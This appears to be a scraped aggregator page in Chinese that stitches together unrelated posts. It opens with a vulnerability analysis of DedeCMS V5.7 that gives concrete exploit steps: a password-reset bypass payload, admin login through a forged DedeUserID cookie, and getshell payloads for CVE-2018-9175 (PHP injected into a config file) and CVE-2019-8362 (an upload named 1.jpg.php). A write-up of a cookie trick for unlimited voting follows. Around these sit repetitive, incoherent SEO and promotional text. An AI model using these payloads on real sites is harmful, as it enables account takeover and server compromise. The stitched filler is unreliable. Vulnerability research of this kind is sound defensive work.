'login.php'); } }
可见在sn函数中将send参数设置了'N',其实就是生成了暂时密码并插入了数据库中,并进行跳转
else if ($send == 'N'){ return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); }
跳转链接就是修改密码的链接了
漏洞复现
首先打开后台管理页面开启会员功能
注册一个帐号
信息的话随便填一下即可注册成功
然后进入了个人中心
进入会员中心
点击通过安全问题取回
输入用户名
拖入bp改包为payload
dopost=safequestion&id=1&userid=admin&safequestion=00&safeanswer=0&vdcode=Vs4p
进入url,修改密码
前台文件上传漏洞漏洞分析
漏洞在于用户发布文章上传图片处。处理文件在/include/dialog/select_images_post.php
而上传文件存在全局过滤/include/uploadsafe.inc.php
#/include/uploadsafe.inc.php$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ){ if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); }}$imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp");if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)){ $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); }}
可以看到名字中不得有上述字符,且限制了content-type。按道理说直接限制不得存在的字符,似乎没有问题了,可在发布文章文件上传的处理文件select_images_post.php中存在如下代码:
$imgfile_name = trim(preg_replace("#[ \r\n\t\*\%\\\/\?> 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.',')) { if($last_vid!='') { $last_vids = explode(',',$last_vid); $i = 0; $last_vid = $uid; foreach($last_vids as $lsid) { if($i>10) { break; } else if($lsid != $uid) { $i++; $last_vid .= ','.$last_vid; } } } else { $last_vid = $uid; } PutCookie('last_vtime', $vtime, 3600*24, '/'); PutCookie('last_vid', $last_vid, 3600*24, '/');
我们可以看到当uid存在值时就会进入我们现在的代码中,当cookie中的last_vid中不存在值为空时,就会将uid值赋予过去,$last_vid = $uid;,然后PutCookie。
那么这么说,我们控制了$uid就相当于可以返回任意值经过服务器处理的md5值。
而在接下来会验证用户是否登录。
现在我们来看看,dedecms会员认证系统是怎么实现的:/include/memberlogin.class.php
//php5构造函数 function __construct($kptime = -1, $cache=FALSE) { global $dsql; if($kptime==-1){ $this->M_KeepTime = 3600 * 24 * 7; }else{ $this->M_KeepTime = $kptime; } $formcache = FALSE; $this->M_ID = $this->GetNum(GetCookie("DedeUserID")); $this->M_LoginTime = GetCookie("DedeLoginTime"); $this->fields = array(); $this->isAdmin = FALSE; if(empty($this->M_ID)) { $this->ResetUser(); }else{ $this->M_ID = intval($this->M_ID); if ($cache) { $this->fields = GetCache($this->memberCache, $this->M_ID); if( empty($this->fields) ) { $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' "); } else { $formcache = TRUE; } } else { $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' "); } if(is_array($this->fields)){ #api{{ if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php') { if($data = uc_get_user($this->fields['userid'])) { if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API)) { $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle'; $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'"); } } } #/aip}} //间隔一小时更新一次用户登录时间 if(time() - $this->M_LoginTime > 3600) { $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';"); PutCookie("DedeLoginTime",time(),$this->M_KeepTime); } $this->M_LoginID = $this->fields['userid']; $this->M_MbType = $this->fields['mtype']; $this->M_Money = $this->fields['money']; $this->M_UserName = FormatUsername($this->fields['uname']); $this->M_Scores = $this->fields['scores']; $this->M_Face = $this->fields['face']; $this->M_Rank = $this->fields['rank']; $this->M_Spacesta = $this->fields['spacesta']; $sql = "Select titles From #@__scores where integralfields['scores']} order by integral desc"; $scrow = $dsql->GetOne($sql); $this->fields['honor'] = $scrow['titles']; $this->M_Honor = $this->fields['honor']; if($this->fields['matt']==10) $this->isAdmin = TRUE; $this->M_UpTime = $this->fields['uptime']; $this->M_ExpTime = $this->fields['exptime']; $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']); if($this->M_Rank>10 && $this->M_UpTime>0){ $this->M_HasDay = $this->Judgemember(); } if( !$formcache ) { SetCache($this->memberCache, $this->M_ID, $this->fields, 1800); } }else{ $this->ResetUser(); } } }
$this->M_ID等于Cookie中的DedUserID,我们继续看看GetCookie函数
if ( ! function_exists('GetCookie')){ function GetCookie($key) { global $cfg_cookie_encode; if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) ) { return ''; } else { if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)) { return ''; } else { return $_COOKIE[$key]; } } }}
它不但读了cookie还验证了md5值。
这样,由于index.php中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。那么如果我们伪造DedUserID和它对应的MD5就行了。
最后一个问题,因为我们上面是通过用户名伪造ID的,用户名为字符串而ID为整数,但好在在构造用户类中将M_ID intval了一下$this->M_ID = intval($this->M_ID); 那么这么说,如果我们想伪造ID为1的用户的Md5,我们只要在上面设置uid(用户名)为'000001'即可。
可以看到已经获取到了,拿去当做DeDeUserID,可以看到,登陆了admin用户
Dedecms V5.7后台的两处getshell(CVE-2018-9175)漏洞成因
后台写配置文件过滤不足导致写shell
代码分析
第一个
在/dede/sys_verifies.php中的第152行处
else if ($action == 'getfiles'){ if(!isset($refiles)) { ShowMsg("你没进行任何操作!","sys_verifies.php"); exit(); } $cacheFiles = DEDEDATA.'/modifytmp.inc'; $fp = fopen($cacheFiles, 'w'); fwrite($fp, ''); fclose($fp);
可以看到,这里会将$refiles数组中的内容写入配置文件modifytmp.inc中。
dedecms对于输入是全局过滤的,在/common.inc.php中注册并过滤了外部提交的变量
function _RunMagicQuotes(&$svar){ if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) ) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar;}if (!defined('DEDEREQUEST')){ //检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤) function CheckRequest(&$val) { if (is_array($val)) { foreach ($val as $_k=>$_v) { if($_k == 'nvarname') continue; CheckRequest($_k); CheckRequest($val[$_k]); } } else { if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val) ) { exit('Request var not allow!'); } } } //var_dump($_REQUEST);exit; CheckRequest($_REQUEST); CheckRequest($_COOKIE); foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) { if($_k == 'nvarname') ${$_k} = $_v; else ${$_k} = _RunMagicQuotes($_v); } }}
上面的$refiles就是注册的外部变量,可见已经addlashes了而我们还是需要绕过fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n"); 实现注入shell,首先需要注入就必须闭合双引号,在这里有个诡异的操作
$filename = substr($filename,3,strlen($filename)-3);
去掉了输入的前三个字符,这样就为我们写shell制造了机会,当我们输入" 时经过addlashes会变成\",再去掉前三个字符就只剩下双引号实现闭合。
此时写入shell后只要再找一个包含modifytmp.inc文件的文件就好了,全局搜索一下可以发现就在本文件/dede/sys_verifies.php
第二个
同样是写配置文件,位于/dede/sys_cache_up.php
else if($step == 2){ include_once(DEDEINC."/enums.func.php"); WriteEnumsCache(); //WriteAreaCache(); 已过期 ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc"); exit();}
跟进WriteEnumsCache()
function WriteEnumsCache($egroup=''){ global $dsql; $egroups = array(); if($egroup=='') { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup "); } else { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup "); } $dsql->Execute('enum'); while($nrow = $dsql->GetArray('enum')) { $egroups[] = $nrow['egroup']; } foreach($egroups as $egroup) { $cachefile = DEDEDATA.'/enums/'.$egroup.'.php'; $fp = fopen($cachefile,'w'); fwrite($fp,''); fclose($fp); if(empty($issign)) WriteEnumsJs($egroup); } return '成功更新所有枚举缓存!';}
可以看到,直接从数据库中读取并写入php文件中,从数据库中取出后并没有经过过滤。
将shell写进数据库中
https://192.168.10.3/DedeCMS/u ... pinfo();//&islogin=1
漏洞复现
因为包含是在同一个文件,所以直接输入
192.168.10.3/DedeCMS/Drunkmars/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\%22;phpinfo();die();//
DedeCMS 后台文件上传getshell(CVE-2019-8362)漏洞成因
上传zip文件解压缩对于文件名过滤不周,导致getshell
代码分析
/dede/album_add.php 175行验证后缀
$fm->GetMatchFiles($tmpzipdir,"jpg|png|gif",$imgs);
进入函数:
function GetMatchFiles($indir, $fileexp, &$filearr) { $dh = dir($indir); while($filename = $dh->read()) { $truefile = $indir.'/'.$filename; if($filename == "." || $filename == "..") { continue; } else if(is_dir($truefile)) { $this->GetMatchFiles($truefile, $fileexp, $filearr); } else if(preg_match("/\.(".$fileexp.")/i",$filename)) { $filearr[] = $truefile; } } $dh->close(); }
可以确定preg_match("/\.(".$fileexp.")/i",$filename)只是判断了文件名中是否存在.jpg、.png、.gif中的一个,只要构造1.jpg.php就可以绕过
2.5.3 漏洞复现
生成一个1.php并改名为1.jpg.php
将文件压缩为1.zip
找到文件式管理器下的soft目录
将压缩文件上传
访问album_add.php
http://192.168.10.3/DedeCMS/Dr ... d.php
选择从zip包中解压图片
发布后点击预览文档
点击上传的包
即可打出phpinfo()
织梦安卓系统源码(feed源码)和ui源码下载地址
网站优化 • 优采云 发表了文章 • 0 个评论 • 63 次浏览 • 2022-06-06 03:00
织梦系统网站内容更改可以发布图片,文字和视频。现在用户阅读一个网站时,基本都是先看图片再看文字,所以图片和视频尤为重要。可以发布自己的作品。新闻图片更能增加网站的逼格。我们将围绕以上两点来对织梦网站进行设计。
一、图片素材的设计
1、图片标签任何页面一个重要页面的标签,我们需要设计图片大小以及图片格式,这些一般影响网站布局。
2、添加背景光标高光链接点、纯色背景等,设计更好的图片效果,创造更多页面视觉冲击。
二、文字设计
1、文字字体字体也可以参考图片来选择好看的字体,如:图片字体效果与个人品牌字体一致,效果更好。
2、文字链接文字加链接可以增加网站的传播度,加快访问页面的速度。
3、文字图片文字加图片可以为网站加强视觉效果,增加页面的辨识度。可以选择图片或者文字来分割页面的主体,将主体突出主要卖点。
4、文字文字文字文字可以为网站加强引导性,提升网站曝光度,增加页面的美观度。可以利用文字改造,成为不一样的页面内容风格。
这里有免费的织梦源码,
我也是做高清源码的,基于dreamweaver技术设计开发,
织梦源码不仅限于wordpress系统源码可以注册下方官网,里面有很多不错的源码,我之前做的主站就是织梦安卓系统源码(feed源码)和ui源码。完全免费的wordpress源码提供下载地址:,加群,我拉你,很多设计师程序员需要安卓系统源码,帮忙设计做一些页面,之前很多客户要源码,但是都是要付费购买的。专门为织梦安卓源码设计开发服务,目前已经有10000套源码了。希望对您有所帮助。 查看全部
织梦安卓系统源码(feed源码)和ui源码下载地址
织梦系统网站内容更改可以发布图片,文字和视频。现在用户阅读一个网站时,基本都是先看图片再看文字,所以图片和视频尤为重要。可以发布自己的作品。新闻图片更能增加网站的逼格。我们将围绕以上两点来对织梦网站进行设计。
一、图片素材的设计
1、图片标签任何页面一个重要页面的标签,我们需要设计图片大小以及图片格式,这些一般影响网站布局。
2、添加背景光标高光链接点、纯色背景等,设计更好的图片效果,创造更多页面视觉冲击。
二、文字设计
1、文字字体字体也可以参考图片来选择好看的字体,如:图片字体效果与个人品牌字体一致,效果更好。
2、文字链接文字加链接可以增加网站的传播度,加快访问页面的速度。
3、文字图片文字加图片可以为网站加强视觉效果,增加页面的辨识度。可以选择图片或者文字来分割页面的主体,将主体突出主要卖点。
4、文字文字文字文字可以为网站加强引导性,提升网站曝光度,增加页面的美观度。可以利用文字改造,成为不一样的页面内容风格。
这里有免费的织梦源码,
我也是做高清源码的,基于dreamweaver技术设计开发,
织梦源码不仅限于wordpress系统源码可以注册下方官网,里面有很多不错的源码,我之前做的主站就是织梦安卓系统源码(feed源码)和ui源码。完全免费的wordpress源码提供下载地址:,加群,我拉你,很多设计师程序员需要安卓系统源码,帮忙设计做一些页面,之前很多客户要源码,但是都是要付费购买的。专门为织梦安卓源码设计开发服务,目前已经有10000套源码了。希望对您有所帮助。
某开源投票框架无限投票漏洞
网站优化 • 优采云 发表了文章 • 0 个评论 • 91 次浏览 • 2022-06-01 15:03
织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用本系统。
最近在看DEDE的代码的时候偶然发现DEDE有一个投票系统,然后深入的研究了一下投票系统发现这个投票系统存在一个无限投票的逻辑漏洞。使用谷歌谷歌一下这个系统发现有好多网站在使用,首先看一下这个投票系统。
在代码中找到这个系统所在的文件dedecms/plus/vote.php,看一下它的代码
这里可以看到这里分为了两种投票方式,一种是会员登陆之后投票,一种是游客状态下投票。后续发现系统默认是开启游客状态下投票的,我在网上找了一些网站,确实也是开启了游客投票。
这里我们可以看到投票的状态是在这个函数之中的,我们跟进这个函数看一下
这里我们可以看到检测投票是否成功,只是检测了一下cookie中的IP,也就是说这里我们只要更改一下ip应该就可以继续投票。我们测试一下。
这里是初始的状态 3 2 2 2 2
我们投票给第二项,这里投票成功!
这里我们再次投票
这里显示已经投过票了不允许再次投票,我们看一下此时我们浏览器中的cookie
这里我们看到有一个这样的字段,和我们在代码中的看到的检测变量一样,我们更改一下它的值。
这里我们把127.0.0.1更改为127.0.1.1,再次发起投票
可以发现只需要更改一个参数就可以无限制投票。
*本文原创作者:sjy93812,本文属于FreeBuf原创奖励计划,禁止转载
查看全部
某开源投票框架无限投票漏洞
织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用本系统。
最近在看DEDE的代码的时候偶然发现DEDE有一个投票系统,然后深入的研究了一下投票系统发现这个投票系统存在一个无限投票的逻辑漏洞。使用谷歌谷歌一下这个系统发现有好多网站在使用,首先看一下这个投票系统。
在代码中找到这个系统所在的文件dedecms/plus/vote.php,看一下它的代码
这里可以看到这里分为了两种投票方式,一种是会员登陆之后投票,一种是游客状态下投票。后续发现系统默认是开启游客状态下投票的,我在网上找了一些网站,确实也是开启了游客投票。
这里我们可以看到投票的状态是在这个函数之中的,我们跟进这个函数看一下
这里我们可以看到检测投票是否成功,只是检测了一下cookie中的IP,也就是说这里我们只要更改一下ip应该就可以继续投票。我们测试一下。
这里是初始的状态 3 2 2 2 2
我们投票给第二项,这里投票成功!
这里我们再次投票
这里显示已经投过票了不允许再次投票,我们看一下此时我们浏览器中的cookie
这里我们看到有一个这样的字段,和我们在代码中的看到的检测变量一样,我们更改一下它的值。
这里我们把127.0.0.1更改为127.0.1.1,再次发起投票
可以发现只需要更改一个参数就可以无限制投票。
*本文原创作者:sjy93812,本文属于FreeBuf原创奖励计划,禁止转载
[开源]SAAS云建站系统,后台任意开通多个网站,各账号可独立管理
网站优化 • 优采云 发表了文章 • 0 个评论 • 105 次浏览 • 2022-05-15 03:34
方式二:放到线上,华为云服务器,花一元快速部署到线上使用
按照此网址开通账号、选配服务器,仅需要一元,就能在线上将网市场云建站系统部署起来使用,不再需要其他额外花费!
方式三:自定义部署,如部署到私有服务器、阿里云、腾讯云等
配套的软件:扒网站工具、模版计算工具
看好哪个网站,用它拔下来做成模版。所见网站,皆可为我所用!templatespider
系统二次开发当前使用的开源框架介绍
SpringBoot2.6.1、Shiro、Redis5、Mysql5.7 (必须这个版本)、ElasticSearch 7.10.1、
前端信息提示 msg.js、客服坐席 kefu.js、网站管理后台Layui
开发前的说明
采用 Java 开发,数据库提供两种,默认使用 sqlite 3 ,也可以自己配置成使用 mysql。
一定注意版本号不要错,jdk1.8、mysql要用5.7,重要的事说三遍
另外开发请用 Eclipse ,我们没用过idea,如果你用idea出现异常你可以自己百度搜索解决方式,因为有其他idea的朋友而且不少都能正常运行,但是我们没使用过idea,如果你idea出现异常我们也没法提供任何帮助。
二次开发方面,请查阅开发文档
从网市场云建站5这个版本以后,我们将网市场云建站系统的底层基础支持,比如常用工具类、权限控制等,单独进行了抽离,调整包装出了一套集成开发框架,我们称之为 wm 。也就是网市场云建站的基础操作,都是在wm文档之中的。
二次开发文档,也就是wm的基础开发文档,包含数据库操作、文件操作、日志操作、短信发送、ajax请求等最基础的功能模块,通过它,可以让一个刚毕业的软件系的大学生在一个月内快速进入开发状态,拥有项目开发能力。
当前目录结构
wangmarket 项目<br />├─src 项目源代码 ( Maven )<br />├─pom.xml 项目源代码 pom ( Maven )<br />├─else 其他的杂七杂八相关文件,一般用不到<br />│ ├─wangmarket.sql 项目运行所需要的数据库文件( Mysql数据库,默认sqlite3)<br />└─README.md 说明
进行二次开发
二次开发时,我们不建议您直接在这个项目进行改动,不然您将失去跟随我们版本升级的能力。众所周知的织梦CMS,也是因为版本不升级失去维护,而出现大家所知晓的安全缺陷。
我们建议您可以在这个项目 wangmarket_deploy 上进行扩展开发您自己想做的模块及功能、以及一些原有的功能及页面更改。比如,登陆页面的重写。
我们网市场有新版本时,您只需直接更新 WEB-INF/lib/wangmarket-xxx.jar 即可完成版本的升级
六、源码地址 查看全部
[开源]SAAS云建站系统,后台任意开通多个网站,各账号可独立管理
方式二:放到线上,华为云服务器,花一元快速部署到线上使用
按照此网址开通账号、选配服务器,仅需要一元,就能在线上将网市场云建站系统部署起来使用,不再需要其他额外花费!
方式三:自定义部署,如部署到私有服务器、阿里云、腾讯云等
配套的软件:扒网站工具、模版计算工具
看好哪个网站,用它拔下来做成模版。所见网站,皆可为我所用!templatespider
系统二次开发当前使用的开源框架介绍
SpringBoot2.6.1、Shiro、Redis5、Mysql5.7 (必须这个版本)、ElasticSearch 7.10.1、
前端信息提示 msg.js、客服坐席 kefu.js、网站管理后台Layui
开发前的说明
采用 Java 开发,数据库提供两种,默认使用 sqlite 3 ,也可以自己配置成使用 mysql。
一定注意版本号不要错,jdk1.8、mysql要用5.7,重要的事说三遍
另外开发请用 Eclipse ,我们没用过idea,如果你用idea出现异常你可以自己百度搜索解决方式,因为有其他idea的朋友而且不少都能正常运行,但是我们没使用过idea,如果你idea出现异常我们也没法提供任何帮助。
二次开发方面,请查阅开发文档
从网市场云建站5这个版本以后,我们将网市场云建站系统的底层基础支持,比如常用工具类、权限控制等,单独进行了抽离,调整包装出了一套集成开发框架,我们称之为 wm 。也就是网市场云建站的基础操作,都是在wm文档之中的。
二次开发文档,也就是wm的基础开发文档,包含数据库操作、文件操作、日志操作、短信发送、ajax请求等最基础的功能模块,通过它,可以让一个刚毕业的软件系的大学生在一个月内快速进入开发状态,拥有项目开发能力。
当前目录结构
wangmarket 项目<br />├─src 项目源代码 ( Maven )<br />├─pom.xml 项目源代码 pom ( Maven )<br />├─else 其他的杂七杂八相关文件,一般用不到<br />│ ├─wangmarket.sql 项目运行所需要的数据库文件( Mysql数据库,默认sqlite3)<br />└─README.md 说明
进行二次开发
二次开发时,我们不建议您直接在这个项目进行改动,不然您将失去跟随我们版本升级的能力。众所周知的织梦CMS,也是因为版本不升级失去维护,而出现大家所知晓的安全缺陷。
我们建议您可以在这个项目 wangmarket_deploy 上进行扩展开发您自己想做的模块及功能、以及一些原有的功能及页面更改。比如,登陆页面的重写。
我们网市场有新版本时,您只需直接更新 WEB-INF/lib/wangmarket-xxx.jar 即可完成版本的升级
六、源码地址
织梦系统网站内容更改或者服务器修改都需要做备案
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-05-05 19:00
织梦系统网站内容更改或者服务器修改都需要做备案,企业没有备案就无法发布内容,一个网站所有的数据信息都是存放在服务器上,想要进行网站的备案修改就要进行在线备案,很多用户都不清楚在线备案是个什么东西。今天老徐为大家详细的介绍下,给大家带来有关在线备案的一些东西。
一、在线备案是什么意思在线备案是在线申请的意思。通过互联网完成实名认证,对电子域名进行在线信息申请,通过之后再次在电子邮箱进行验证,将身份信息保存保存1-2个工作日,然后就可以直接去窗口申请即可。
二、申请地址是什么地址你可以在其它地方申请,前提是确保那边是正规的,不可以有黑网址,或者是国外的,这样的话就会有需要第三方公司操作,进行网络入侵,才能进行申请,有这样的风险。我们可以在在线申请,系统自动审核,申请全程全部由系统自动完成,操作非常的简单,非常方便。
三、在线备案有什么好处
1、通过互联网完成实名认证,完善企业网络信息,申请成功之后可直接开始使用。
2、对于互联网经营者来说,没有实名制也不是很影响,因为企业有企业的信用体系,是可以承诺自己的,不受身份证影响,所以对于互联网经营者来说我们建议可以用在线信息申请,不会有什么影响。企业备案流程:进入云服务器注册;登录企业网站;在线申请;审核完成。对于以上一些细节问题,大家有什么不清楚的也可以给老徐留言。需要帮助更多的用户。 查看全部
织梦系统网站内容更改或者服务器修改都需要做备案
织梦系统网站内容更改或者服务器修改都需要做备案,企业没有备案就无法发布内容,一个网站所有的数据信息都是存放在服务器上,想要进行网站的备案修改就要进行在线备案,很多用户都不清楚在线备案是个什么东西。今天老徐为大家详细的介绍下,给大家带来有关在线备案的一些东西。
一、在线备案是什么意思在线备案是在线申请的意思。通过互联网完成实名认证,对电子域名进行在线信息申请,通过之后再次在电子邮箱进行验证,将身份信息保存保存1-2个工作日,然后就可以直接去窗口申请即可。
二、申请地址是什么地址你可以在其它地方申请,前提是确保那边是正规的,不可以有黑网址,或者是国外的,这样的话就会有需要第三方公司操作,进行网络入侵,才能进行申请,有这样的风险。我们可以在在线申请,系统自动审核,申请全程全部由系统自动完成,操作非常的简单,非常方便。
三、在线备案有什么好处
1、通过互联网完成实名认证,完善企业网络信息,申请成功之后可直接开始使用。
2、对于互联网经营者来说,没有实名制也不是很影响,因为企业有企业的信用体系,是可以承诺自己的,不受身份证影响,所以对于互联网经营者来说我们建议可以用在线信息申请,不会有什么影响。企业备案流程:进入云服务器注册;登录企业网站;在线申请;审核完成。对于以上一些细节问题,大家有什么不清楚的也可以给老徐留言。需要帮助更多的用户。
织梦系统网站内容更改需要提供“增量备案”的具体办理流程
网站优化 • 优采云 发表了文章 • 0 个评论 • 66 次浏览 • 2022-05-04 10:02
织梦系统网站内容更改需要提供“增量备案”的具体办理流程是什么样的?答:网站内容更改需要提供“增量备案”的具体办理流程如下:1.企业提供资料:企业基本信息、申请书、已备案证明文件、主体信息和系统备案状态、域名证书(以后备案除了以上资料还需要还需要提供网站的持续备案地址)2.个人提供资料:身份证、拍摄固定电话;企业提供:营业执照(新公司、营业执照或者公司需要三证合一)、如果有注册地址还需要提供有效期至少3个月以上的租赁合同(如果有房产证提供有效期至少三个月以上的租赁合同也可以)、申请书、备案申请表(之前服务器在阿里云或者万网的需要提供自有服务器的信息)、主体信息和管理员身份证。
不可以
没有注册公司的公司不要做
可以,类似于seo项目,
您好,没有注册公司的企业,或者企业并不是设在加拿大或者美国的公司都不适合做这个项目,
可以的。
正规公司做是不允许单独一个项目做涉及两个国家,除非项目很有钱,如我们。就算做也要名称+域名。如果资料不全涉及的是不同国家会告你侵权。仅仅我们才有。
对于只涉及一个国家的可以,所有做一个国家涉及两个国家,就不可以了,毕竟公司不是专业机构,没办法很专业的去制作如何审核。 查看全部
织梦系统网站内容更改需要提供“增量备案”的具体办理流程
织梦系统网站内容更改需要提供“增量备案”的具体办理流程是什么样的?答:网站内容更改需要提供“增量备案”的具体办理流程如下:1.企业提供资料:企业基本信息、申请书、已备案证明文件、主体信息和系统备案状态、域名证书(以后备案除了以上资料还需要还需要提供网站的持续备案地址)2.个人提供资料:身份证、拍摄固定电话;企业提供:营业执照(新公司、营业执照或者公司需要三证合一)、如果有注册地址还需要提供有效期至少3个月以上的租赁合同(如果有房产证提供有效期至少三个月以上的租赁合同也可以)、申请书、备案申请表(之前服务器在阿里云或者万网的需要提供自有服务器的信息)、主体信息和管理员身份证。
不可以
没有注册公司的公司不要做
可以,类似于seo项目,
您好,没有注册公司的企业,或者企业并不是设在加拿大或者美国的公司都不适合做这个项目,
可以的。
正规公司做是不允许单独一个项目做涉及两个国家,除非项目很有钱,如我们。就算做也要名称+域名。如果资料不全涉及的是不同国家会告你侵权。仅仅我们才有。
对于只涉及一个国家的可以,所有做一个国家涉及两个国家,就不可以了,毕竟公司不是专业机构,没办法很专业的去制作如何审核。
织梦系统网站内容更改( 光速SEO2022-04-17网站维护的重要性和方法 )
网站优化 • 优采云 发表了文章 • 0 个评论 • 69 次浏览 • 2022-04-19 09:19
光速SEO2022-04-17网站维护的重要性和方法
)
网站如何进行批量管理维护
光速SEO2022-04-17
网站维护,最近很多站长都问我如何批量管理维护大量网站维护。因为每个站对应不同的建站系统,每个网站的文章自动更新是一件很头疼的事。市场上很少同时支持织梦、empire、zblog、WordPress、pbootcms等各种cms批次,神马、360、搜狗推送。
构建自己的网站只是构建网站的第一步。下一个非常重要的部分是网站的维护。 网站的维护一般包括以下几个方面。
通过网站日志,我们可以知道搜索引擎什么时候访问过网站,访问过哪些网页,访问过哪些网页。这些信息对我们进一步优化和改进很重要网站。
定期或不定期更新内容,可以让我们的网站保持活力,与时俱进,不仅能吸引更多的访问者,增加流量,还能增加网站的信誉,赢得客户最大的信任。
网站维护网站内容我们可以免费使用采集工具,免费采集不用写复杂的采集规则,不用花很多钱学习正则表达式或html标签的时间,一分钟即可上手,只需输入关键词即可实现采集。然后结合伪原创,让搜索引擎认为你的网站内容基本是原创,有利于收录和网站的SEO排名。
网站维护也需要对服务器进行定期维护。我们经常遇到服务器问题、数据丢失等问题。定期备份网站不仅是对自己的责任,也是对网站忠实用户的尊重。一台性能稳定的服务器,可以让蜘蛛在访问时正常抓取你的网站内容。人们都知道,如果网站想要收录,蜘蛛是必不可少的,没有蜘蛛网站几乎不可能有收录和网站的排名@>.
网站维护的另一个非常重要的方面是网站安全性。网络安全一直是热门话题,尤其是金融、电商等网站。网络安全是重中之重。现在很多人都可以轻松窃取 网站 数据,因此 网站 安全设置起着至关重要的作用。你站起来给别人做婚纱一定很不愉快。 网站维护期间一定要做好网站的安全防护。
网站设计和用户体验真的很重要。随着时代的变化,人们对网站功能和网站设计的要求也在变化。 网站维护就是根据当前时代的要求不断优化网站。满足客户的审美要求,尽可能适应客户的使用习惯。网站结构合理,将用户感兴趣的精彩内容推荐到首页;
网站维护我们还需要对网站实时数据进行统计分析。提供网站收录查询和网站排名、蜘蛛变化权重值等多种功能查询。这提供了 SEO 中数据变化的全面视图。
收录排名详情查询抽取快速查询导出网站收录快照链接和关键词排名链接收录标题收录时间等查询关键词排名,根据关键词提取收录链接,查询peer的网站收录链接和peer的网站关键词排名数据支持导出。
网站映射对于网站的维护也很重要。我们可以抓取网站链接,快速生成XML、TXT、HTML格式的网站地图,满足百度、谷歌等搜索引擎的爬虫需求。方便搜索引擎蜘蛛爬取网站页面,通过站点地图获取站点信息,在站点上添加文章的收录。快速提取整个站点的网站链接,检查网站链接是否正常,网页是否为收录。
根据网站产品的浏览情况,网站内容和产品的顺序和呈现会增加或减少。及时改善网站中营销思维的不专业和欠缺,给网站的浏览用户留下专业的印象。
网站维护是网站建设中非常重要的一环,关系到我们网站的稳定有效运行。今天关于网站维护的讲解就到这里,下期分享更多SEO相关知识和丰富的SEO实战经验。
查看全部
织梦系统网站内容更改(
光速SEO2022-04-17网站维护的重要性和方法
)
网站如何进行批量管理维护

光速SEO2022-04-17
网站维护,最近很多站长都问我如何批量管理维护大量网站维护。因为每个站对应不同的建站系统,每个网站的文章自动更新是一件很头疼的事。市场上很少同时支持织梦、empire、zblog、WordPress、pbootcms等各种cms批次,神马、360、搜狗推送。
构建自己的网站只是构建网站的第一步。下一个非常重要的部分是网站的维护。 网站的维护一般包括以下几个方面。
通过网站日志,我们可以知道搜索引擎什么时候访问过网站,访问过哪些网页,访问过哪些网页。这些信息对我们进一步优化和改进很重要网站。
定期或不定期更新内容,可以让我们的网站保持活力,与时俱进,不仅能吸引更多的访问者,增加流量,还能增加网站的信誉,赢得客户最大的信任。
网站维护网站内容我们可以免费使用采集工具,免费采集不用写复杂的采集规则,不用花很多钱学习正则表达式或html标签的时间,一分钟即可上手,只需输入关键词即可实现采集。然后结合伪原创,让搜索引擎认为你的网站内容基本是原创,有利于收录和网站的SEO排名。
网站维护也需要对服务器进行定期维护。我们经常遇到服务器问题、数据丢失等问题。定期备份网站不仅是对自己的责任,也是对网站忠实用户的尊重。一台性能稳定的服务器,可以让蜘蛛在访问时正常抓取你的网站内容。人们都知道,如果网站想要收录,蜘蛛是必不可少的,没有蜘蛛网站几乎不可能有收录和网站的排名@>.
